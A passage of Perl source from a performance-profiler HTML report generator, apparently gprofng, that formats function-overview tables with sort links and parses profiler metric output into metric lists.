# Get the function name and the address from the function overview.  The
# address is used to differentiate in case a function has multiple occurences.
#------------------------------------------------------------------------------
      my $routine = $function_names[$i];
      my $current_address = $address_field[$i];

      my $final_function_name;
      my $found_a_match = $FALSE;
      my $msg;
      my $ref_index;

      $msg  = &quot;on entry - routine = &quot; . $routine; 
      $msg .= &quot; current_address = &quot; . $current_address;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Check if there are duplicate entries for this function.  If there are, use
# the address to find the right match in the function_info structure.
#------------------------------------------------------------------------------
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: first check for multiple occurrences&quot;);
      if (exists ($g_multi_count_function{$routine}))
        {
          $msg = &quot;$g_multi_count_function{$routine} exists&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg  = &quot;g_function_occurrences{$routine} = &quot;;
          $msg .= $g_function_occurrences{$routine};
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          for my $ref (keys @{ $g_map_function_to_index{$routine} })
            {
              my $ref_index = $g_map_function_to_index{$routine}[$ref];
              my $addr_offset = $function_info[$ref_index]{&quot;addressobjtext&quot;};
#------------------------------------------------------------------------------
# The address has the following format: 6:0x0003af50, but we only need the
# part after the colon and remove the first part.
#------------------------------------------------------------------------------
              $addr_offset =~ s/$get_addr_offset_regex//;
 
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: ref_index = $ref_index&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: function_info[$ref_index]{&#039;alt_name&#039;} = $function_info[$ref_index]{&#039;alt_name&#039;}&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: addr_offset = $addr_offset&quot;);

              if ($addr_offset eq $current_address)
#------------------------------------------------------------------------------
# There is a match and we can store the index.
#------------------------------------------------------------------------------
                {
                  $found_a_match = $TRUE;
                  push (@function_index_list, $ref_index);
                  last;
                }
            }
        }
      else
        {
#------------------------------------------------------------------------------
# This is the easy case.  There is only one index value.  We do check if the
# array element that contains it, exists.  If this is not the case, something
# has gone horribly wrong earlier and we need to bail out.
#------------------------------------------------------------------------------
          if (defined ($g_map_function_to_index{$routine}[0]))
            {
              $found_a_match = $TRUE;
              $ref_index = $g_map_function_to_index{$routine}[0];
              push (@function_index_list, $ref_index);
              my $final_function_name = $function_info[$ref_index]{&quot;routine&quot;};
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;pushed single occurrence: ref_index = $ref_index final_function_name = $final_function_name&quot;);
            }
          }
      if (not $found_a_match)
#------------------------------------------------------------------------------
# This should not happen. All we can do is print an error message and stop.
#------------------------------------------------------------------------------
        {
          $msg  = &quot;cannot find the index for $routine: found_a_match = &quot;;
          $msg .= ($found_a_match == $TRUE) ? &quot;TRUE&quot; : &quot;FALSE&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
    }

#------------------------------------------------------------------------------
# The loop over all function names has completed and @function_index_list
# contains the index values into @function_info for the functions.
#
# All we now need to do is to retrieve the correct field(s) from the array.
#------------------------------------------------------------------------------
  for my $i (keys @function_index_list)
    {
      my $index_for_function = $function_index_list[$i];
      push (@final_html_function_block, $function_info[$index_for_function]{&quot;html function block&quot;});
    }
  for my $i (keys @final_html_function_block)
    {
      my $txt = &quot;final_html_function_block[$i] = $final_html_function_block[$i]&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $txt);
    }

#------------------------------------------------------------------------------
# Since the numbers are right aligned, we know that any difference between the
# metric line length and the maximum must be caused by the first column.  All
# we need to do is to prepend spaces in case of a difference.
#
# While we have the line with the metric values, we also replace ZZZ by 3
# spaces.
#------------------------------------------------------------------------------
    for my $i (keys @metric_values)
      {
        if (length ($metric_values[$i]) &lt; $max_metrics_length)
          {
            my $pad = $max_metrics_length - length ($metric_values[$i]);
            my $spaces = &quot;&quot;;
            for my $s (1 .. $pad)
              {
                $spaces .= &quot;&amp;nbsp;&quot;;
              }
            $metric_values[$i] = $spaces . $metric_values[$i];
          }
          $metric_values[$i] =~ s/ZZZ/&amp;nbsp;&amp;nbsp;&amp;nbsp;/g;
      }

#------------------------------------------------------------------------------
# Determine the column widths.  The start and end index of the words in the
# input line are stored in elements 0 and 1 of @word_index_values.
#
# The assumption made is that the first digit of a metric value on the first
# line is left # aligned with the header text.  These are the Total values
# and other than for some derived metrics, e.g. CPI, should be the largest.
#
# The positions of the start of the value is what we should then use for the
# word &quot;(sort)&quot; to start.
#
# For example:
#
# Excl.     Excl. CPU  Excl.         Excl.         Excl.  Excl.
# Total     Cycles     Instructions  Last-Level    IPC    CPI
# CPU sec.     sec.    Executed      Cache Misses
# 174.664   179.250    175838403203  1166209617    0.428   2.339
#------------------------------------------------------------------------------

    my $foundit_ref;
    my $foundit;
    my @index_values = ();
    my $index_values_ref;

#------------------------------------------------------------------------------
# Search for &quot;Excl.&quot; in the top row.  The metric values are aligned with this
# word and we can use it to position &quot;(sort)&quot; in the last header line.
#
# In @index_values, we store the position(s) of &quot;Excl.&quot; in the header line.
# If none can be found, an exception is raised because at least one should
# be there.
#
# TBD: Check if this can be done only once.
#------------------------------------------------------------------------------
    my $target_keyword = &quot;Excl.&quot;;

    ($foundit_ref, $index_values_ref) = find_keyword_in_string (
                                          \$remaining_part_header,
                                          \$target_keyword);

    $foundit      = ${ $foundit_ref };
    @index_values = @{ $index_values_ref };

    if ($foundit)
      {
        for my $i (keys @index_values)
          {
            my $txt = &quot;index_values[$i] = $index_values[$i]&quot;;
            gp_message (&quot;debugXL&quot;, $subr_name, $txt);
          }
      }
    else
      {
        $msg = &quot;keyword $target_keyword not found in $remaining_part_header&quot;;
        gp_message (&quot;assertion&quot;, $subr_name, $msg);
      }

#------------------------------------------------------------------------------
# Compute the number of spaces we need to add between the &quot;(sort)&quot; strings.
#
# For example:
#
# 01234567890123456789
#
# Excl.         Excl.
# (sort)        (sort)
#       xxxxxxxx
#
# The number of spaces required is 14 - 6 = 8.
#
# The number of spaces to be added is stored in @padding_values.  These are
# the spaces to be added before the occurrence of &quot;(sort)&quot;.  This is why the
# first padding value is 0.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# TBD: This needs to be done only once.
#------------------------------------------------------------------------------
    my @padding_values = ();
    my $P_previous     = 0;
    for my $i (keys @index_values)
      {
        my $L = $index_values[$i];
        my $P = $L + length (&quot;(sort)&quot;);
        my $pad_spaces = $L - $P_previous;

        push (@padding_values, $pad_spaces);

        $P_previous = $P;
      }

    for my $i (keys @padding_values)
      {
        my $txt = &quot;padding_values[$i] = $padding_values[$i]&quot;;
        gp_message (&quot;debugXL&quot;, $subr_name, $txt);
      }
 
#------------------------------------------------------------------------------
# Build up the sort line.  Mark the current metric and make sure the line is
# aligned with the header.
#------------------------------------------------------------------------------
    my $sort_string = &quot;(sort)&quot;;
    my $length_sort_string = length ($sort_string);
    my $sort_line = &quot;&quot;;
    my @active_metrics = split (&quot;:&quot;, $summary_metrics);
    for my $i (0 .. $number_of_metrics-1)
      {
        my $pad          = $padding_values[$i];
        my $metric_value = $active_metrics[$i];

        my $spaces = &quot;&quot;;
        for my $s (1 .. $pad)
          {
            $spaces .= &quot;&amp;nbsp;&quot;;
          }

        gp_message (&quot;debugXL&quot;, $subr_name, &quot;i = $i metric_value = $metric_value pad = $pad&quot;);

        if ($metric_value eq $exp_type)
#------------------------------------------------------------------------------
# The current metric should have a different background color.
#------------------------------------------------------------------------------
          {
            $sort_string = &quot;&lt;a href=\&#039;&quot; . $g_html_base_file_name{&quot;function_view&quot;} .
                           &quot;.&quot; . $metric_value . &quot;.html&#039; style=&#039;background-color:&quot; .
                           $g_html_color_scheme{&quot;background_selected_sort&quot;} .
                           &quot;\&#039;&gt;&lt;b&gt;(sort)&lt;/b&gt;&lt;/a&gt;&quot;;
          }
        elsif (($exp_type eq &quot;functions&quot;) and ($metric_value eq $g_first_metric))
#------------------------------------------------------------------------------
# Set the background color for the sort metric in the main function overview.
#------------------------------------------------------------------------------
          {
            $sort_string = &quot;&lt;a href=\&#039;&quot; . $g_html_base_file_name{&quot;function_view&quot;} .
                           &quot;.&quot; . $metric_value . &quot;.html&#039; style=&#039;background-color:&quot; .
                           $g_html_color_scheme{&quot;background_selected_sort&quot;} .
                           &quot;&#039;&gt;&lt;b&gt;(sort)&lt;/b&gt;&lt;/a&gt;&quot;;
          }
        else
#------------------------------------------------------------------------------
# Do not set a specific background for all other metrics.
#------------------------------------------------------------------------------
          {
            $sort_string = &quot;&lt;a href=\&#039;&quot; . $g_html_base_file_name{&quot;function_view&quot;} .
                           &quot;.&quot; . $metric_value . &quot;.html&#039;&gt;(sort)&lt;/a&gt;&quot;;
          }

#------------------------------------------------------------------------------
# Prepend the spaces to ensure correct alignment with the rest of the header.
#------------------------------------------------------------------------------
          $sort_line .= $spaces . $sort_string;
      }

    push (@header_lines, $sort_line);

#------------------------------------------------------------------------------
# Print the final results for the header and metrics.
#------------------------------------------------------------------------------
  for my $i (keys @header_lines)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;header_lines[$i] = $header_lines[$i]&quot;);
    }
  for my $i (keys @metric_values)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric_values[$i] = $metric_values[$i]&quot;);
    }

#------------------------------------------------------------------------------
# Construct the lines for the function overview.
#
# TBD: We could eliminate two structures here because metric_values and
# final_html_function_block are only copied and the result stored.
#------------------------------------------------------------------------------
   for my $i (keys @function_names)
      {
        push (@metrics_part, $metric_values[$i]);
        push (@function_view_array, $final_html_function_block[$i]);
      }

  for my $i (0 .. $#function_view_array)
    {
      $msg = &quot;function_view_array[$i] = $function_view_array[$i]&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }
#------------------------------------------------------------------------------
# Element &quot;function table&quot; contains the array with all the function view data.
#------------------------------------------------------------------------------
  $function_view_structure{&quot;header&quot;}         = [@header_lines];
  $function_view_structure{&quot;metrics part&quot;}   = [@metrics_part];
  $function_view_structure{&quot;function table&quot;} = [@function_view_array];

  $msg = &quot;leave subroutine &quot; . $subr_name;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  return (\%function_view_structure);

} #-- End of subroutine process_function_overview

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub process_metrics
{
  my $subr_name = get_my_name ();

  my ($input_string, $sort_fields_ref, $metric_description_ref, $ignored_metrics_ref) = @_;

  my @sort_fields        = @{ $sort_fields_ref };
  my %metric_description = %{ $metric_description_ref };
  my %ignored_metrics    = %{ $ignored_metrics_ref };

  my $outputdir = append_forward_slash ($input_string);
  my $LANG      = $g_locale_settings{&quot;LANG&quot;};
  my $max_len   = 0;
  my $metric_comment;

  my ($imetricn,$outfile);
  my ($html_metrics_record,$imetric,$metric);

  $html_metrics_record =
    &quot;&lt;!doctype html public \&quot;-//w3c//dtd html 3.2//EN\&quot;&gt;\n&lt;html lang=\&quot;$LANG\&quot;&gt;\n&lt;head&gt;\n&quot; .
    &quot;&lt;meta http-equiv=\&quot;content-type\&quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;\n&quot; .
    &quot;&lt;title&gt;Function Metrics&lt;/title&gt;&lt;/head&gt;&lt;body lang=\&quot;$LANG\&quot; bgcolor=&quot;.$g_html_color_scheme{&quot;background_color_page&quot;}.&quot;&lt;pre&gt;\n&quot;;

  $outfile = $outputdir . &quot;metrics.html&quot;;

  open (METRICSOUT, &quot;&gt;&quot;, $outfile)
    or die (&quot;$subr_name - unable to open file $outfile for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile for writing&quot;);

  for $metric (@sort_fields)
    {
      $max_len = max ($max_len, length ($metric));
      gp_message (&quot;debug&quot;, $subr_name, &quot;sort_fields: metric = $metric max_len = $max_len&quot;);
    }

# TBD: Check this
#  for $imetric (@IMETRICS)
  for $imetric (keys %ignored_metrics)
    {
      $max_len = max ($max_len, length ($imetric));
      gp_message (&quot;debug&quot;, $subr_name, &quot;ignored_metrics imetric = $imetric max_len = $max_len&quot;);
    }

  $max_len++;

  gp_message (&quot;debug&quot;, $subr_name, &quot;max_len = $max_len&quot;);

  $html_metrics_record .= &quot;&lt;p style=\&quot;font-size:14px;color:red\&quot;&gt; Metrics used (&quot;.($#sort_fields + 1).&quot;)\n&lt;/p&gt;&lt;p style=\&quot;font-size:14px\&quot;&gt;&quot;;
  for $metric (@sort_fields)
    {
      my $description = ${ retrieve_metric_description (\$metric, \%metric_description) };
      gp_message (&quot;debug&quot;, $subr_name, &quot;handling metric metric = $metric-&gt;$description&quot;);
      $html_metrics_record .= &quot;       $metric&quot;.(&#039; &#039; x ($max_len - length ($metric))).&quot;$description\n&quot;;
    }

#  $imetricn = scalar (keys %IMETRICS);
  $imetricn = scalar (keys %ignored_metrics);
  if ($imetricn)
    {
      $html_metrics_record .= &quot;&lt;/p&gt;&lt;p style=\&quot;font-size:14px;color:red\&quot;&gt; Metrics ignored ($imetricn)\n&lt;/p&gt;&lt;p style=\&quot;font-size:14px\&quot;&gt;&quot;;
#      for $imetric (sort keys %IMETRICS){
      for $imetric (sort keys %ignored_metrics)
        {
              $metric_comment = &quot;(inclusive, exclusive, and percentages)&quot;;
          $html_metrics_record .= &quot;       $imetric&quot;.(&#039; &#039; x ($max_len - length ($imetric))).$metric_comment.&quot;\n&quot;;
          gp_message (&quot;debug&quot;, $subr_name, &quot;handling metric imetric = $imetric $metric_comment&quot;);
        }
    }

  print METRICSOUT $html_metrics_record;
  print METRICSOUT $g_html_credits_line;
  close (METRICSOUT);

  gp_message (&quot;debug&quot;, $subr_name, &quot;closed metrics file $outfile&quot;);

  return (0);

} #-- End of subroutine process_metrics

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub process_metrics_data
{
  my $subr_name = get_my_name ();

  my ($outfile1, $outfile2, $ignored_metrics_ref) = @_;

  my %ignored_metrics    = %{ $ignored_metrics_ref };

  my %metric_value       = ();
  my %metric_description = ();
  my %metric_found       = ();

  my $user_metrics;
  my $system_metrics;
  my $wall_metrics;
  my $metric_spec;
  my $metric_flavor;
  my $metric_visibility;
  my $metric_name;
  my $metric_text;
  my $metricdata;
  my $metric_line;
  my $msg;

  my $summary_metrics;
  my $detail_metrics;
  my $detail_metrics_system;
  my $call_metrics;

  if ($g_user_settings{&quot;default_metrics&quot;}{&quot;current_value&quot;} eq &quot;off&quot;)
    {
      $msg  = &quot;g_user_settings{default_metrics}{current_value} = &quot;;
      $msg .= $g_user_settings{&quot;default_metrics&quot;}{&quot;current_value&quot;};
      gp_message (&quot;debug&quot;, $subr_name, $msg);
  # get metrics

      $summary_metrics       = &#039;&#039;;
      $detail_metrics        = &#039;&#039;;
      $detail_metrics_system = &#039;&#039;;
      $call_metrics          = &#039;&#039;;
      $user_metrics          = 0;
      $system_metrics        = 0;
      $wall_metrics          = 0;

      my ($last_metric,$metric,$value,$i,$r);

      open (METRICTOTALS, &quot;&lt;&quot;, $outfile2)
        or die (&quot;Unable to open metric value data file $outfile2 for reading - &#039;$!&#039;&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened $outfile2 to parse metric value data&quot;);

#------------------------------------------------------------------------------
# Below an example of the file that has just been opened.  The lines I marked
# with a * has been wrapped by my for readability.  This is not the case in the
# file, but makes for a really long line.
#
# Also, the data comes from one PC experiment and two HWC experiments.
#------------------------------------------------------------------------------
# &lt;Total&gt;
#              Exclusive Total CPU Time:      32.473 (100.0%)
#              Inclusive Total CPU Time:      32.473 (100.0%)
#                  Exclusive CPU Cycles:      23.586 (100.0%)
#                               &quot; count: 47054706905
#                  Inclusive CPU Cycles:      23.586 (100.0%)
#                               &quot; count: 47054706905
#       Exclusive Instructions Executed: 54417033412 (100.0%)
#       Inclusive Instructions Executed: 54417033412 (100.0%)
#     Exclusive Last-Level Cache Misses:   252730685 (100.0%)
#     Inclusive Last-Level Cache Misses:   252730685 (100.0%)
#  *   Exclusive Instructions Per Cycle:      Inclusive Instructions Per Cycle:
#  *         Exclusive Cycles Per Instruction:
#  *         Inclusive Cycles Per Instruction:
#  *         Size:           0
#                            PC Address: 1:0x00000000
#                           Source File: (unknown)
#                           Object File: (unknown)
#                           Load Object: &lt;Total&gt;
#                          Mangled Name:
#                               Aliases:
#------------------------------------------------------------------------------

      while (&lt;METRICTOTALS&gt;)
        {
          $metricdata = $_; chomp ($metricdata);
          gp_message (&quot;debug&quot;, $subr_name, &quot;file metrictotals: $metricdata&quot;);

#------------------------------------------------------------------------------
# Ignoring whitespace, search for any line with a &quot;:&quot; in it, followed by
# a number with or without a dot.  So, an integer or floating-point number.
#------------------------------------------------------------------------------
          if ($metricdata =~ /\s*(.*):\s+(\d+\.*\d*)/)
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;  candidate =&gt; $metricdata&quot;);
              $metric = $1;
              $value  = $2;
              if ( ($metric eq &quot;PC Address&quot;) or ($metric eq &quot;Size&quot;))
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;  skipped =&gt; $metric $value&quot;);
                  next;
                }
              gp_message (&quot;debug&quot;, $subr_name, &quot;  proceed =&gt; $metric $value&quot;);
              if ($metric eq &#039;&quot; count&#039;)
#------------------------------------------------------------------------------
# Hardware counter experiments have this info.  Note that this line is not the
# first one to be encountered, so $last_metric has been defined already.
#------------------------------------------------------------------------------
                {
                  $metric = $last_metric.&quot; Count&quot;; # we presume .......
                  gp_message (&quot;debug&quot;, $subr_name, &quot;last_metric = $last_metric metric = $metric&quot;);
                }
              $i=index ($metricdata,&quot;:&quot;);
              $r=rindex ($metricdata,&quot;:&quot;);
              gp_message (&quot;debug&quot;, $subr_name, &quot;metricdata = $metricdata =&gt; i = $i r = $r&quot;);
              if ($i == $r)
                {
                  if ($value &gt; 0) # Not interested in metrics contributing zero
                    {
                      $metric_value{$metric} = $value;
                      gp_message (&quot;debug&quot;, $subr_name, &quot;archived metric_value{$metric} = $metric_value{$metric}&quot;);
                      # e.g. $metric_value{Exclusive Total Thread Time} = 302.562
                      # e.g. $metric_value{Exclusive Instructions Executed} = 2415126222484
                    }
                }
              else
#------------------------------------------------------------------------------
# TBD This code deals with an old bug and may be removed.
#------------------------------------------------------------------------------
                { # er_print bug - e.g.
#  Exclusive Instructions Per Cycle:       Inclusive Instructions Per Cycle:       Exclusive Cycles Per Instruction:   Inclusive Cycles Per Instruction:             Exclusive OpenMP Work Time: 162.284 (100.0%)
                  gp_message (&quot;debug&quot;, $subr_name, &quot;metrictotals odd line:-&gt;$metricdata&lt;-&quot;);
                  $r=rindex ($metricdata,&quot;:&quot;,$r-1);
                  if ($r == -1)
                    { # ignore
                      gp_message (&quot;debug&quot;, $subr_name, &quot;metrictotals odd line ignored&lt;-&quot;);
                      $last_metric = &quot;foo&quot;;
                      next;
                    }
                  my ($good_part)=substr ($metricdata,$r+1);
                  if ($good_part =~ /\s*(.*):\s+(\d+\.*\d*)/)
                    {
                      $metric = $1;
                      $value  = $2;
                      if ($value&gt;0) # Not interested in metrics contributing zero
                        {
                          $metric_value{$metric} = $value;
                          $msg = &quot;metrictotals odd line rescued &#039;$metric&#039;=$value&quot;;
                          gp_message (&quot;debug&quot;, $subr_name, $msg);
                        }
                    }
                }
#------------------------------------------------------------------------------
# Preserve the current metric.
#------------------------------------------------------------------------------
              $last_metric = $metric;
            }
        }
      close (METRICTOTALS);
    }

    if (scalar (keys %metric_value) == 0)
#------------------------------------------------------------------------------
# If we have no metrics &gt; 0, fudge a &quot;Exclusive Total CPU Time&quot;, else we
# blow up later.
#
# TBD: See if this can be handled differently.
#------------------------------------------------------------------------------
      {
        $metric_value{&quot;Exclusive Total CPU Time&quot;} = 0;
        gp_message (&quot;debug&quot;, $subr_name, &quot;no metrics found and a stub was added&quot;);
      }

  for my $metric (sort keys %metric_value)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;Stored metric_value{$metric} = $metric_value{$metric}&quot;);
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;proceed to process file $outfile1&quot;);

#------------------------------------------------------------------------------
# Open and process the metrics file.
#------------------------------------------------------------------------------
  open (METRICS, &quot;&lt;&quot;, $outfile1)
    or die (&quot;Unable to open metrics file $outfile1: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile1 for reading&quot;);

#------------------------------------------------------------------------------
# Parse the file.  This is a typical example:
#
# Exp Sel Total
# === === =====
#   1 all     2
#   2 all     1
#   3 all     2
# Current metrics: e.totalcpu:i.totalcpu:e.cycles:e+insts:e+llm:name
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Available metrics:
#          Exclusive Total CPU Time: e.%totalcpu
#          Inclusive Total CPU Time: i.%totalcpu
#              Exclusive CPU Cycles: e.+%cycles
#              Inclusive CPU Cycles: i.+%cycles
#   Exclusive Instructions Executed: e+%insts
#   Inclusive Instructions Executed: i+%insts
# Exclusive Last-Level Cache Misses: e+%llm
# Inclusive Last-Level Cache Misses: i+%llm
#  Exclusive Instructions Per Cycle: e+IPC
#  Inclusive Instructions Per Cycle: i+IPC
#  Exclusive Cycles Per Instruction: e+CPI
#  Inclusive Cycles Per Instruction: i+CPI
#                              Size: size
#                        PC Address: address
#                              Name: name
#------------------------------------------------------------------------------
  while (&lt;METRICS&gt;)
    {
      $metric_line = $_;
      chomp ($metric_line);

      gp_message (&quot;debug&quot;, $subr_name, &quot;processing line $metric_line&quot;);
#------------------------------------------------------------------------------
# The original regex has bugs because the line should not be allowed to start
# with a &quot;:&quot;.  So this is wrong:
#  if (($metric =~ /\s*(.*):\s+(\S)((\.\S+)|(\+\S+))/) and !($metric =~/^Current/))
#
# This is better:
#      if (($metric =~ /\s*(.+):\s+(\S)((\.\S+)|(\+\S+))/) and !($metric =~/^Current/))
#
# In general, this regex has some potential issues and has been replaced by
# the one shown below.
#
# We select a line that does not start with &quot;Current&quot; and aside from whitespace
# starts with anything (although it should be a string with words only),
# followed by whitespace and either an &quot;e&quot; or &quot;i&quot;. This is called the &quot;flavor&quot;
# and is followed by a visibility marker (.,+,%, or !) and a metric name.
#------------------------------------------------------------------------------
# Ruud   if (($metric =~ /\s*(.*):\s+(\S)((\.\S+)|(\+\S+))/) &amp;&amp; !($metric =~/^Current/)){

      ($metric_spec, $metric_flavor, $metric_visibility, $metric_name, $metric_text) =
              extract_metric_specifics ($metric_line);

#      if (($metric_line =~ /\s*(.+):\s+([ei])([\.\+%]+)(\S*)/) and !($metric_line =~/^Current/))
      if ($metric_spec eq &quot;skipped&quot;)
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;skipped line: $metric_line&quot;);
        }
      else
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;line of interest: $metric_line&quot;);

          $metric_found{$metric_spec} = 1;

          if ($g_user_settings{&quot;ignore_metrics&quot;}{&quot;defined&quot;})
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;check for $metric_spec&quot;);
              if (exists ($ignored_metrics{$metric_name}))
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;user asked to ignore metric $metric_name&quot;);
                  next;
                }
              }

#------------------------------------------------------------------------------
# This metric is not on the ignored list and qualifies, so store it.
#------------------------------------------------------------------------------
          $metric_description{$metric_spec} = $metric_text;

# TBD: add for other visibilities too, like +
          gp_message (&quot;debug&quot;, $subr_name, &quot;stored $metric_description{$metric_spec}          = $metric_description{$metric_spec}&quot;);

          if ($metric_flavor ne &quot;e&quot;)
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;metric $metric_spec is ignored&quot;);
            }
          else
#------------------------------------------------------------------------------
# Only the exclusive metrics are shown.
#------------------------------------------------------------------------------
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;metric $metric_spec ($metric_text) is considered&quot;);

              if ($metric_spec =~ /user/)
                {
                  $user_metrics = $TRUE;
                  gp_message (&quot;debug&quot;, $subr_name, &quot;m: user_metrics set to TRUE&quot;);
                }
              elsif ($metric_spec =~ /system/)
                {
                  $system_metrics = $TRUE;
                  gp_message (&quot;debug&quot;, $subr_name, &quot;m: system_metrics set to TRUE&quot;);
                }
              elsif ($metric_spec =~ /wall/)
                {
                  $wall_metrics = $TRUE;
                  gp_message (&quot;debug&quot;, $subr_name, &quot;m: wall_metrics set to TRUE&quot;);
                }
#------------------------------------------------------------------------------
# TBD I don&#039;t see why these need to be skipped.  Also, should be totalcpu.
#------------------------------------------------------------------------------
              elsif (($metric_spec =~ /^e\.total$/) or ($metric_spec =~/^e\.total_cpu$/))
                {
                # skip total thread time and total CPU time
                  gp_message (&quot;debug&quot;, $subr_name, &quot;m: skip above&quot;);
                }
              elsif (defined ($metric_value{$metric_text}))
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;Total attributed to this metric metric_value{$metric_text} = $metric_value{$metric_text}&quot;);
                  if ($summary_metrics ne &#039;&#039;)
                    {
                      $summary_metrics = $summary_metrics.&#039;:&#039;.$metric_spec;
                      gp_message (&quot;debug&quot;, $subr_name, &quot;updated summary_metrics = $summary_metrics - 1&quot;);
                      if ($metric_spec !~ /\.wait$|\.ulock$|\.text$|\.data$|\.owait$|total$|mpiwork$|mpiwait$|ompwork$|ompwait$/)
                        {
                          $detail_metrics = $detail_metrics.&#039;:&#039;.$metric_spec;
                          gp_message (&quot;debug&quot;, $subr_name, &quot;updated m:detail_metrics=$detail_metrics - 1&quot;);
                          $detail_metrics_system = $detail_metrics_system.&#039;:&#039;.$metric_spec;
                          gp_message (&quot;debug&quot;, $subr_name, &quot;updated m:detail_metrics_system=$detail_metrics_system - 1&quot;);
                        }
                      else
                        {
                          gp_message (&quot;debug&quot;, $subr_name, &quot;m: no want above metric for detail_metrics or detail_metrics_system&quot;);
                        }
                    }
                  else
                    {
                      $summary_metrics = $metric_spec;
                      gp_message (&quot;debug&quot;, $subr_name, &quot;initialized summary_metrics = $summary_metrics - 2&quot;);
                      if ($metric_spec !~ /\.wait$|\.ulock$|\.text$|\.data$|\.owait$|total$|mpiwork$|mpiwait$|ompwork$|ompwait$/)
                        {
                          $detail_metrics = $metric_spec;
                          gp_message (&quot;debug&quot;, $subr_name, &quot;m:detail_metrics=$detail_metrics - 2&quot;);
                          $detail_metrics_system = $metric_spec;
                          gp_message (&quot;debug&quot;, $subr_name, &quot;m:detail_metrics_system=$detail_metrics_system - 2&quot;);
                        }
                      else
                        {
                          gp_message (&quot;debug&quot;, $subr_name, &quot;m: no want above metric for detail_metrics or detail_metrics_system&quot;);
                        }
                    }
                  gp_message (&quot;debug&quot;, $subr_name, &quot; metric $metric_spec added&quot;);
                }
              else
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;m: no want above metric was a 0 total&quot;);
                }
            }
        }
    }

  close METRICS;

  if ($wall_metrics &gt; 0)
    {
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:wall_metrics set adding to summary_metrics&quot;);
      $summary_metrics = &quot;e.wall:&quot;.$summary_metrics;
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:summary_metrics=$summary_metrics - 3&quot;);
    }

  if ($system_metrics &gt; 0)
    {
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:system_metrics set adding to summary_metrics,call_metrics and detail_metrics_system&quot;);
      $summary_metrics       = &quot;e.system:&quot;.$summary_metrics;
      $call_metrics          = &quot;i.system:&quot;.$call_metrics;
      $detail_metrics_system =&#039;e.system:&#039;.$detail_metrics_system;

      gp_message (&quot;debug&quot;, $subr_name,&quot;m:summary_metrics=$summary_metrics - 4&quot;);
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:call_metrics=$call_metrics&quot;);
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:detail_metrics_system=$detail_metrics_system - 3&quot;);
    }


#------------------------------------------------------------------------------
# TBD: e.user and i.user do not always exist!!
#------------------------------------------------------------------------------

  if ($user_metrics &gt; 0)
    {
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:user_metrics set adding to summary_metrics,detail_metrics,detail_metrics_system and call_metrics&quot;);
# Ruud      if (!exists ($IMETRICS{&quot;i.user&quot;})){
      if ($g_user_settings{&quot;ignore_metrics&quot;}{&quot;defined&quot;} and exists ($ignored_metrics{&quot;user&quot;}))
        {
          $summary_metrics = &quot;e.user:&quot;.$summary_metrics;
        }
      else
        {
          $summary_metrics = &quot;e.user:i.user:&quot;.$summary_metrics;
        }
      $detail_metrics        = &quot;e.user:&quot;.$detail_metrics;
      $detail_metrics_system = &quot;e.user:&quot;.$detail_metrics_system;

      gp_message (&quot;debug&quot;, $subr_name,&quot;m:summary_metrics=$summary_metrics - 5&quot;);
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:detail_metrics=$detail_metrics - 3&quot;);
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:detail_metrics_system=$detail_metrics_system - 4&quot;);

      if ($g_user_settings{&quot;ignore_metrics&quot;}{&quot;defined&quot;} and exists ($ignored_metrics{&quot;user&quot;}))
        {
          $call_metrics = &quot;a.user:&quot;.$call_metrics;
        }
      else
        {
          $call_metrics = &quot;a.user:i.user:&quot;.$call_metrics;
        }
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:call_metrics=$call_metrics - 2&quot;);
    }

  if ($call_metrics eq &quot;&quot;)
    {
      $call_metrics = $detail_metrics;

      gp_message (&quot;debug&quot;, $subr_name,&quot;m:call_metrics is not set, setting it to detail_metrics &quot;);
      gp_message (&quot;debug&quot;, $subr_name,&quot;m:call_metrics=$call_metrics - 3&quot;);
    }

  for my $metric (sort keys %ignored_metrics)
    {
      if ($ignored_metrics{$metric})
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;active metric, but ignored: $metric&quot;);
        }

    }

